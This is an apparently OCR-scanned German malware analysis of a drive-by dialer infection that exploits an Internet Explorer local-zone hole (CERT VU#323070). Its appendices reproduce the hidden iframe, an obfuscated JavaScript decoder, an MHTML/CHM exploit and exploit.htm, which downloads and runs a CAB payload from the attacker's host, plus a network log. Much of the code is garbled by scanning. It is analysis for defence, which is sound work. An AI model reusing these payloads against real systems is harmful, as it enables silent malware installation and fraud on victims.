Analyse Exploit/Dialerinstallation

Bei dem Besuch der Webseite http://www.$STARTURL.com/index.html befindet sich im HTML-
Quelltext ein IFRAME Kommando, welches fiir den Benutzer unbemerkt die Seite
http://www.$STARTURL.com/sex.html aufruft und darin enthaltenes JavaScript ausfiihrt. Dieser
JavaScript enthilt ein speziell kodiertes Script, das per Exploit eine Datei exploit.htm in der lokalen
Sicherheitszone eines attakierten PCs ausfiihrt, die normalerweise die Ausfiihrung von ActiveX
Applikationen ohne nennenswerte Restriktionen zuldsst. Details entnehmen Sie bitte den Anhédngen A-
H. Der Exploit wird von CERT meines Erachtens als Vulnerability VU#323070 gefiihrt, siche
http://www.kb.cert.org/vuls/id/323070 . Dabei wird eine Installationsdatei info6_s.cab von der URL
heruntergeladen und installiert. Dabei werden etliche Dateien aus dem Internet vom Rechner
$DOWNLOADURL.nu heruntergeladen, siche Screenshot des Logs des Netzwerkanalyserprogrammes
Ethereal.

Zunichst wird eine Datei files von http://SDOWNLOADURL.nu/cust/20/files heruntergeladen, die die
Namen der zu installierenden/auszufiihrenden Dateien enthilt.

Dabei handelt es sich insbesondere um ein Dialer-Programm dialerX.exe und ein Programm
svchost.exe, welches unter bestimmten Bedingungen die Rufnummer der Standard-DFU Verbindung
verdndert. Gleichzeitig werden eine Reihe von Text Dateien heruntergeladen, die die von den beiden
Programmen zu verwendenden Rufnummern enthalten. Das verwendete Format besteht aus durch
Semikolon getrennten Feldern, wobei das 2. Feld die Rufnummer enthilt. Dabei erhélt man die
Rufnummer, indem man jeden 2. Buchstaben aneinanderhiingt. Diese Rufnummern werden dabei
teilweise nach Land der IP Adresse getrennt, wobei eine Umleitung von

/GeolP/country.asp?$file auf /cust/SCC/$file erfolgt, wobei $CC den Zwei-Buchstaben
Linderbezeichnungen entspricht (e.g. DE,AT,CH,GB,FR,NL,BE,US) und $file der Name der Datei ist.
Dabei verwendet dialerX.exe die Dateien mWinXpD.txt (Rufnummer 090090000957) und
mWinXpD2.txt (Rufnummer 090090000957, 0037270220302), und svchost.exe die Datei mWinXp.txt
(Rufnummern 090090000957, 090090000958).




Anhang A: In der URL http:/www.$STARTURL.com/index.html versteckter IFRAME Befehl

<iframe src="http://ww. $STARTURL. conl sex. htm " franmeborder=0 vspace
=0 hspace=0 wi dt h=0 hei ght =0 mar gi nwi dt h=0 mar gi nhei ght =0 scrol |l i ng=no></i frane>

Anhang B: Kompletter Quelltext der URL http:/www.$STARTURL.com/sex.html

<I DOCTYPE HTML PUBLIC "-//WBC//DTD HTM. 4.01 Transitional //EN'><ht M ><head><titl| e>SEX SEX
SEX</title><meta http-equi v="Content-Type" content="text/htm ; charset=i so-8859-

1" ></ head><body><scri pt >function o(e,s){if (!s)s=" &% #(")!=?qwert yui opl kj hgf dsal1234567890- . ,
mbvcxz ASDFGHIKLPO UYT' ; var b;var d="';for(var i=0;i<e.length;i+=0.toString().length-532){b=
(s.indexOr (e.char At (i)) &255)<<18| (s.indexf (e.charAt (i +1))&255)<<12| (s.indexO (e.charAt

(i +2)) &255) <<6| s. i ndexf (e. char At (i +3)) &55; d+=Stri ng. f r ontChar Code( (b&16711680) >>16,
(b&65280) >>8, b&255) ; }i f (e. char CodeAt (i-2)==61) {eval (d.substring(0,d.length-o.toString().

| engt h+534)); }el se if(e.charCodeAt (i-1)==61){eval (d.substring(0,d.length-o.toString().

| engt h+535)); }el se{eval (d);};}o(' sS4-k2UukGovg" " f uckUk/ v- g9pxKt y6kSL&D v-

gx=AL27SqHLhdYG'v" uAL/ U. hk%1 YF. uc, DLkvnkY5sU y8qg2nHqg! A Kk%hk( 9nv) 4Tg8#nTS5" | 6x8, t znsF%

| aOucdGlswy=Td9JDoj ) FdGacut znf HaSe2l 7ky" 8h2=AP" % | j | nKcvbi kpxKt yca(b, d(?m ki 8s) ?

f Q2#7P3g. u9k?st #Dg % OxsUot , &O'xmaYi sPxsU?k"' +' hxl "11 G % j | w032z Tl / DDyG'i dY"| g9- AkoAkol ki O
(#n3j , x| y! DOoLi j 3" 80Ckzv/ OFyH , | cUi hkk?P9% hl b, d( ?bw) SFgt #4qHA1l YF. uc OHToknU9%&Q v-

gx=ALor nOG Al x" 8oGn5goxDg SFI Jt Fh2wxi k! DOkp7k! t Fh2=Adnp, OCoLi dF9kgx=Tl 3TDOoL6k#! UwTy x| 3G<OHUU
K7" mh2A&gt r | ej AsUyl 5wywAl hGkut oFP- ybqg2, DP" xFaYi U | wvAwt znsF% WOYBKI ?-i k- vsGaSy SQUO

(9 HoTdO#SqYkuP- &, =j 4Tl 3! Sl j i wkh&, TYLz2DF- w/ 38g3f DPHpxe2?- Q07ndxi nLj Dsat % d -

bk3rfl9p, | c5" TGU 3"/ KHWGo! vw30AsWIG&v) &TqS8. WSl 51 /1 8?S8="); </ scri pt ><scri pt >try{eval (cs)}
catch(ex){}</script></body></htm >

Anhang C: Zur Lesbarkeit Reformatierter Quelltext der URL

http://www.$STARTURL.com/sex.html
<I DOCTYPE HTM. PUBLIC "-//WBC//DTD HTM. 4.01 Transitional//EN'>
<htm >
<head>
<title>SEX SEX SEX</title>
<neta http-equiv="Content-Type" content="text/htm ; charset=i so-8859-1">
</ head>
<body>
<scri pt >
function o(e,s){ if
('s)s=" &% #(")! =?qwert yui opl kj hgf dsal1l234567890-. , mbvcxzASDFGHIKLPO UYT' ;
var b;var d='";
for(var i=0;i<e.length;i+=0.toString().!ength-532){
b=(s.indexOf (e.char At (i)) &255) <<18| (s.indexCf (e. char At (i +1)) &55) <<12| (s. i ndexCf
(e.charAt (i +2)) &255) <<6| s. i ndexOf (e. char At (i +3)) &255;
d+=Stri ng. f ronChar Code( (b&16711680) >>16, ( b&65280) >>8, b&255) ; }
i f(e.charCodeAt (i-2)==61) {
eval (d. substring(0,d.length-o.toString().!ength+534));
}el se
i f (e.char CodeAt (i-1)==61){
eval (d. substring(0,d.length-o.toString().!ength+535));
tel se{
eval (d); }; 1}
o(' sS4- k2UukGpvg" " f uckUk/ v- g9pxKt y6kSL&Q v- gx=AL27SqHLhdYG' v" UAL/ U. hk%
11 YF. uc, DLkvrkY5sU! y8qg2nHq! A Kk%hk(9mv) 4Tg8#mrS5" | 6x8, t znsF% aCucdGlswy=Td9JDoj )
FdGacut znf HaSe2l 7ky" 8h2=AP" % | j | nKcvbi kpxKt yca( b, d( ?m ki 8s) ?f Q2#7P3g. u9k?st #DQ %
i OxsUot , &O' xnmaYi sPxsU?k' +' hxl "11 G % j | w932zTI / DDyG'i dY" | g9- AkoAkol ki O
(#n3j , x| y! DOoLi j 3" 80CGkzv/ OFyH , | cUi hkk?P9% hl b, d( ?bw) SFgt #4qHA1l YF. uc OHToknU9%&Q v-
gx=ALor nOG Al x" 8oGn5goxDg SFI Jt Fh2wxi k! DOkp7k! t Fh2=Adnp, OCoLi dF9kgx=Tl 3TDOoL6k#! UwTy x| 3GOHUU
K7" mh2A&gt r | ej AsUyl 5wywAl hGkut oFP- ybqg2, DP" xFaYi U | wvAwt znsF% WO%BKI ?-i k- vsGaSy SQUO
(9 HoTdO#SqYkuP- &, =j 4Tl 3! Sl j i wkh&, TYLz2DF- w/ 38g3f DPHpxe2?- Q07ndxi nLj Dsat %O -
bk3rf19p, | c5"TG3U 3"/ KHWGo! vWB0ASWOG&v) &TqS8. wSl 51 /1 8?S8=") ;
</script>
<scri pt >
try{eval (cs)}catch(ex){}
</script>
</ body>
</htm >




Anhang D: String d aus der Funktion o() aus http:/www.$STARTURL.com/sex.html nach 1.

Rekursion
o(' U?PWI?" QYB?} T+gbhT??2?2?W @+gb?1?222+g\WK?E?T1?/ h] P] 22( B?s?[ ] WP[ ?s?) 22(} T?PWI1 j ?h?b@?

(BUI | 222" Q2?H? @[ s ?[ 22?2%?PWI?° QYB?} 22P, 2?2Qk?ThY?U, Ul EQ?@} j 0P??2?2. Qr?2dKUp?. 220) 22Q Ul ?Pg]
K) hBI , | 2° 22+ ] 22( B?2?0&k ?P@+gb?1?2#k 2Q222dKU?a+??| 22s?] 22EQP?T?Ts?] ?

1j 222. kI Ub2?2Qr?2?2. bT1?2/ 22Q2U20} 21j ] 2@ ?T1l [ 22!, 22Q U@?7?s?) ?s?[ ?s?} YB?, 2+0@?PbUBgEY?0R??) } ?
1 [k?j° 2+2P?p) ! h?2Qr?2dKUp) 22p{ =" , ' 2a?s2d?1?2g?h?j ?k?| 2p20?1 2U2Y? T?R?E?WQ?B?b?H{ K} , [ . ] @ 2+)
(19 P#?'")

Anhang E: String d aus der Funktion o() aus http://www.$STARTURL.com/sex.html nach 2.

Rekursion

docunment.wite("<script src=http://$DOMLOADURL. nu/ cust/j s2. asp?cust =1></scri pt ><scri pt >var
x=new Dat e(); x. set Ti me(x. get Ti me()+3600000) ;

docurent . cooki e=" i nf oexecl. 5 _fil ename=1; expires="+x.t oGMITString(); </script><ifrane w dth=2
hei ght =2 styl e=visibility:hidden
src=http://$DOMNLOADURL. nu/ cust/ifranme_sn. asp?cust =1></i frame>");

Anhang F: Quelltext der URL http://SDOWNLOADURL.nu/cust/js2.asp?cust=1
cs ='var x=new Date(); x.setTi me(x.getTinme()+60*60*1000);
docurent . cooki e="i nf oexecl.5 fil ename=1; expires=" + x.toGWIString();";

Anhang G: Quelltext der URL http://$DOWNLOADURL.nu/cust/iframe_sn.asp?cust=1
<head>

<xnm : namespace prefix="RS"'><style type="text/css">@redia all {RS\:clientcaps {behavior: ur
(#def aul t#cl i entcaps)}}</styl e></xnl:nanmespace><RS: cli entcaps id="caps" />

</ head>

<body>

<iframe id=ifl></ifranme>

<scri pt>

i sopen=f al se;

openi nsear ch=f al se

usecache=f al se

function generic() {

}

onerror=generic
if ( (typeof(caps.connectionType)=="undefined) |

(caps. connectionTypel ="l an'))
{
var out=""', txt="'=pckfdu! ebub>#nt.j ut;niunm gjnf;00D;]]
gpp/ ni u"i uuqg; 00sj 0h1517919191/ ov0dvt uOFYQVWPJU T/ DI N; ; Of ygnpj u/ i un#! uzqf >#uf yuOy. t dsj qunf u#?

for (i=0; i < txt.length; i++) { octet = txt.charCodeAt(i); out+=
String. fronChar Code(octet-1);}
docurent . write(out);
} else {
docunent . wite(' No Access');

}

</script>

Anhang G: Variable out aus dem Script
http://$DOWNLOADURL.nu/cust/iframe sn.asp?cust=1

<obj ect data="ns-
its:mhtm :file://C\\foo.mht!http://$DONMLOADURL. nu/ cust/ EXPLO T_S. CHM : / expl oi t. ht ni
type="text/x-scriptlet">




Anhang H: Datei exploit.htm, enthalten in http://$DOWNLOADURL.nu/cust/EXPLOIT S.CHM
<SCRI PT | anguage=j avascri pt >

payl oadURL = 'http://$DOMLOADURL. nu/ cust/info6_s. cab';
var X = new ActiveXObject("M crosoft. XMLHTTP");
X. Open(" GET", payl oadURL, 0) ;

x. Send() ;
try {

var s = new ActiveXObj ect (" ADODB. St rean') ;
s. Mode = 3;
s. Type = 1;
s. Open() ;
s. Wite(x.responseBody);
s. SaveToFil e("C \\info6_s.cab", 2);

}
catch(ex) {
var fO=new ActiveXObject ("M crosoft. XM_.HTTP");
f 0. Open(" GET", payl oadURL, false);
f0. Send() ;
xxy=Cet Qbj ect (" C: / W NDOAS/ Tenpor ~1/ Cont ent . | E5/ | NDEX. DAT", "htm file");
var x=set Ti meout ("i ecache_step2();", 1000);

function iecache_step2(){
var aa=xxy. body. i nner Text.substr (30, 80). match(/[A-Z0-9]{8}/9);
for(var ii=0;ii<4;ii++) {
i fr.document.wite(' <OBJECT CLASSI D=clsid:11111111-1111-1111-1111-
111111113456 CODEBASE=C. /W NDOWS/ Tenpor ~1/ Content. 1 E5/' + aa[ii] + '/info6_s[1].cab
| D=i ></ OBJECT>') ;
}

}
</ SCRI PT>
<OBJECT CLASSI D=clsid:11111111-22111-1221-1111-12111111113456 CODEBASE=c: /i nfo06_s. cab
| D=i ></ OBJECT>

Anhang I: Ethereal Log der HTTP Requests bei Ausfiihrung der Installation von info6_s.cab

HTTP GET Scust 20/Tiles HTTP/ 1.1

HTTP HTTP/L.1l 304 Mot modified

HTTP GET Scust 20 /mwin=p.txt HTTPL1.1
HTTF HTTP/L.1l 302 ochject moved

HTTP GET AScust 20 /mwin=p.txt/ HTTP 1.1
HTTP HTTPAL.1l 200 oK

HTTF GET AScuUust 20 /mwin=pD.Txt HTTP 1.1
HTTF HTTP/1.1l 302 ohject mMoved

HTTP GET SCcust /20 /mMwin=pD.Txts HTTP/1.1
HTTP HTTP/L.1l 200 Ok

HTTF GET Scust /20/mwin=pD2.txt HTTP/1.1
HTTF HTTP/L.1 302 ohject moved

HTTF GET AScust /20/mwin=pD2.txt,y HTTP/ 1.1
HTTP HTTPAL.1l 200 oK

HTTF GET SGenlPscountry.asp?file=mwin=<p.txt HTTP 1.1
HTTF HTTP/1.1 302 ohject moved

HTTP GET AScuUust DEsmMwin=p.txt HTTPA1.1
HTTP HTTP/L.1l 302 ohject mMoved

HTTF GET AScust DEsmMwin=p.txts HTTP 1.1
HTTP HTTPAL.1l 200 Ok

HTTF GET /SGenlPscountry.asp?file=mwin=pd.txt HTTP 1.1
HTTP HTTPL.1l 302 ohject moved

HTTP GET Scust  DEsmwin=pd. Txt HTTPL.1
HTTP HTTP 1.1 302 obhject mMoved

HTTP GET Scust  DES/mwin=pd. Txts HTTP 1.1
HTTP HTTPL1.1l 200 oK

HTTP GET Acust,/ 20/s5vchost.exe HTTPAL.1
HTTP HTTPL.1 304 mMot mModified

HTTF GET Acust,/ 20 dialerx. exe HTTPASL.1
HTTF HTTPL.1l 304 Mot mModified

HTTF GET Scust 20s/switchagreement.txt HTTP, 1.1

HTTP HTTP/1.1 304 Mot Modified



Anhang J: Informationsfenster von 0900Warner nach Ausfiihren der Links zu dialerX.exe
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